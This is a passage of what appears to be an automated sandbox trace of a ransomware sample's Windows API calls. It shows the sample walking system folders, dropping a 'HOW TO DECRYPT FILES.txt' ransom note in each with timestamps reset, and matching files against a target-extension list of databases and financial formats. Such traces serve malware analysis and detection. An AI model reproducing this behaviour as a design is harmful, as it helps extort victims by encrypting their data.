nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0120.372] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0120.372] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78585e70, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x78585e70, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x78585e70, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0120.372] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0120.372] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0120.372] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78585e70, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x78585e70, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x78585e70, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="dc4e2d4b4c58e35bf39ea5b85557685f", cAlternateFileName="DC4E2D~1")) returned 1 [0120.372] lstrcmpA (lpString1=".", lpString2="dc4e2d4b4c58e35bf39ea5b85557685f") returned -1 [0120.372] lstrcmpA (lpString1="..", lpString2="dc4e2d4b4c58e35bf39ea5b85557685f") returned -1 [0120.372] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Printing\\*.*") returned="*.*" [0120.372] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Printing\\", lpString2="dc4e2d4b4c58e35bf39ea5b85557685f" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Printing\\dc4e2d4b4c58e35bf39ea5b85557685f") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Printing\\dc4e2d4b4c58e35bf39ea5b85557685f" [0120.373] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Printing\\dc4e2d4b4c58e35bf39ea5b85557685f\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78585e70, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x78585e70, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x78585e70, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0120.373] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0120.373] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78585e70, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x78585e70, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x78585e70, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0120.373] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0120.373] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0120.373] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7855fd10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x7855fd10, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x78585e70, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x13da00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Printing.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0120.373] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0120.373] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Printing.ni.dll") returned -1 [0120.373] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Printing.ni.dll") returned -1 [0120.373] lstrcmpiA (lpString1="", lpString2="System.Printing.ni.dll") returned -1 [0120.373] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Printing\\dc4e2d4b4c58e35bf39ea5b85557685f\\*.*") returned="*.*" [0120.373] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Printing\\dc4e2d4b4c58e35bf39ea5b85557685f\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Printing\\dc4e2d4b4c58e35bf39ea5b85557685f\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Printing\\dc4e2d4b4c58e35bf39ea5b85557685f\\" [0120.373] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Printing\\dc4e2d4b4c58e35bf39ea5b85557685f\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Printing\\dc4e2d4b4c58e35bf39ea5b85557685f\\") returned="" [0120.373] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Printing\\dc4e2d4b4c58e35bf39ea5b85557685f\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Printing\\dc4e2d4b4c58e35bf39ea5b85557685f\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Printing\\dc4e2d4b4c58e35bf39ea5b85557685f\\HOW TO DECRYPT FILES.txt" [0120.373] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Printing\\dc4e2d4b4c58e35bf39ea5b85557685f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.printing\\dc4e2d4b4c58e35bf39ea5b85557685f\\how to decrypt files.txt")) returned 0xffffffff [0120.374] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Printing\\dc4e2d4b4c58e35bf39ea5b85557685f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.printing\\dc4e2d4b4c58e35bf39ea5b85557685f\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0120.380] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0120.380] CloseHandle (hObject=0x90) returned 1 [0120.380] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Printing\\dc4e2d4b4c58e35bf39ea5b85557685f\\", lpString2="System.Printing.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Printing\\dc4e2d4b4c58e35bf39ea5b85557685f\\System.Printing.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Printing\\dc4e2d4b4c58e35bf39ea5b85557685f\\System.Printing.ni.dll" [0120.380] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Printing\\dc4e2d4b4c58e35bf39ea5b85557685f\\System.Printing.ni.dll", pszSpec="*.ems") returned 0 [0120.380] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78585e70, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x78585e70, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x78585e70, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x620, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Printing.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 1 [0120.380] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0120.381] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Printing.ni.dll.aux") returned -1 [0120.381] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Printing.ni.dll.aux") returned -1 [0120.381] lstrcmpiA (lpString1="", lpString2="System.Printing.ni.dll.aux") returned -1 [0120.381] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Printing\\dc4e2d4b4c58e35bf39ea5b85557685f\\System.Printing.ni.dll") returned="System.Printing.ni.dll" [0120.381] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Printing\\dc4e2d4b4c58e35bf39ea5b85557685f\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Printing\\dc4e2d4b4c58e35bf39ea5b85557685f\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Printing\\dc4e2d4b4c58e35bf39ea5b85557685f\\" [0120.381] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Printing\\dc4e2d4b4c58e35bf39ea5b85557685f\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Printing\\dc4e2d4b4c58e35bf39ea5b85557685f\\") returned="" [0120.381] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Printing\\dc4e2d4b4c58e35bf39ea5b85557685f\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Printing\\dc4e2d4b4c58e35bf39ea5b85557685f\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Printing\\dc4e2d4b4c58e35bf39ea5b85557685f\\HOW TO DECRYPT FILES.txt" [0120.381] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Printing\\dc4e2d4b4c58e35bf39ea5b85557685f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.printing\\dc4e2d4b4c58e35bf39ea5b85557685f\\how to decrypt files.txt")) returned 0x20 [0120.381] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Printing\\dc4e2d4b4c58e35bf39ea5b85557685f\\", lpString2="System.Printing.ni.dll.aux" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Printing\\dc4e2d4b4c58e35bf39ea5b85557685f\\System.Printing.ni.dll.aux") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Printing\\dc4e2d4b4c58e35bf39ea5b85557685f\\System.Printing.ni.dll.aux" [0120.381] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Printing\\dc4e2d4b4c58e35bf39ea5b85557685f\\System.Printing.ni.dll.aux", pszSpec="*.ems") returned 0 [0120.381] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78585e70, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x78585e70, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x78585e70, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x620, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Printing.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 0 [0120.381] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0120.382] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78585e70, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x78585e70, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x78585e70, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="dc4e2d4b4c58e35bf39ea5b85557685f", cAlternateFileName="DC4E2D~1")) returned 0 [0120.382] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0120.382] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9fd2b90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa9fd2b90, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa9fd2b90, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Reflc3377498#", cAlternateFileName="SYSTEM~1.REF")) returned 1 [0120.382] lstrcmpA (lpString1=".", lpString2="System.Reflc3377498#") returned -1 [0120.382] lstrcmpA (lpString1="..", lpString2="System.Reflc3377498#") returned -1 [0120.382] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\*.*") returned="*.*" [0120.382] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\", lpString2="System.Reflc3377498#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#" [0120.382] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9fd2b90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa9fd2b90, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa9fd2b90, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0120.382] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0120.382] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9fd2b90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa9fd2b90, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa9fd2b90, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0120.383] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0120.383] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0120.383] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9fd2b90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa9fd2b90, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa9fd2b90, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="af2d8a3b78f4fb4aae05fd3000a310b0", cAlternateFileName="AF2D8A~1")) returned 1 [0120.383] lstrcmpA (lpString1=".", lpString2="af2d8a3b78f4fb4aae05fd3000a310b0") returned -1 [0120.383] lstrcmpA (lpString1="..", lpString2="af2d8a3b78f4fb4aae05fd3000a310b0") returned -1 [0120.383] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\*.*") returned="*.*" [0120.383] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\", lpString2="af2d8a3b78f4fb4aae05fd3000a310b0" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0" [0120.383] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9fd2b90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa9fd2b90, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa9fd2b90, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0120.528] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0120.528] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9fd2b90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa9fd2b90, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa9fd2b90, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0120.528] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0120.528] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0120.528] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9fd2b90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa9fd2b90, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa9fd2b90, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x40600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Reflection.Context.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0120.528] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0120.528] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Reflection.Context.ni.dll") returned -1 [0120.528] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Reflection.Context.ni.dll") returned -1 [0120.528] lstrcmpiA (lpString1="", lpString2="System.Reflection.Context.ni.dll") returned -1 [0120.528] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\*.*") returned="*.*" [0120.528] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\" [0120.528] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\") returned="" [0120.529] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\HOW TO DECRYPT FILES.txt" [0120.529] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\how to decrypt files.txt")) returned 0xffffffff [0120.529] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0120.532] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0120.532] CloseHandle (hObject=0x90) returned 1 [0120.532] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\", lpString2="System.Reflection.Context.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll" [0120.532] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll", pszSpec="*.ems") returned 0 [0120.532] lstrlenA (lpString="*.ems") returned 5 [0120.532] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll", pszSpec="*.db") returned 0 [0120.532] lstrlenA (lpString="*.db") returned 4 [0120.533] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll", pszSpec="*.dbf") returned 0 [0120.533] lstrlenA (lpString="*.dbf") returned 5 [0120.533] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll", pszSpec="*.myox") returned 0 [0120.533] lstrlenA (lpString="*.myox") returned 6 [0120.533] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll", pszSpec="*.myo") returned 0 [0120.533] lstrlenA (lpString="*.myo") returned 5 [0120.533] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll", pszSpec="*.qbw") returned 0 [0120.533] lstrlenA (lpString="*.qbw") returned 5 [0120.533] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll", pszSpec="*.qbb") returned 0 [0120.533] lstrlenA (lpString="*.qbb") returned 5 [0120.533] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll", pszSpec="*.qbm") returned 0 [0120.533] lstrlenA (lpString="*.qbm") returned 5 [0120.533] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll", pszSpec="*.qbo") returned 0 [0120.533] lstrlenA (lpString="*.qbo") returned 5 [0120.533] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll", pszSpec="*.qbx") returned 0 [0120.533] lstrlenA (lpString="*.qbx") returned 5 [0120.533] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll", pszSpec="*.qba") returned 0 [0120.533] lstrlenA (lpString="*.qba") returned 5 [0120.533] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll", pszSpec="*.qby") returned 0 [0120.533] lstrlenA (lpString="*.qby") returned 5 [0120.533] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll", pszSpec="*.qbj") returned 0 [0120.533] lstrlenA (lpString="*.qbj") returned 5 [0120.533] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll", pszSpec="*.ofx") returned 0 [0120.534] lstrlenA (lpString="*.ofx") returned 5 [0120.534] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll", pszSpec="*.qif") returned 0 [0120.534] lstrlenA (lpString="*.qif") returned 5 [0120.534] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll", pszSpec="*.mye") returned 0 [0120.534] lstrlenA (lpString="*.mye") returned 5 [0120.534] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll", 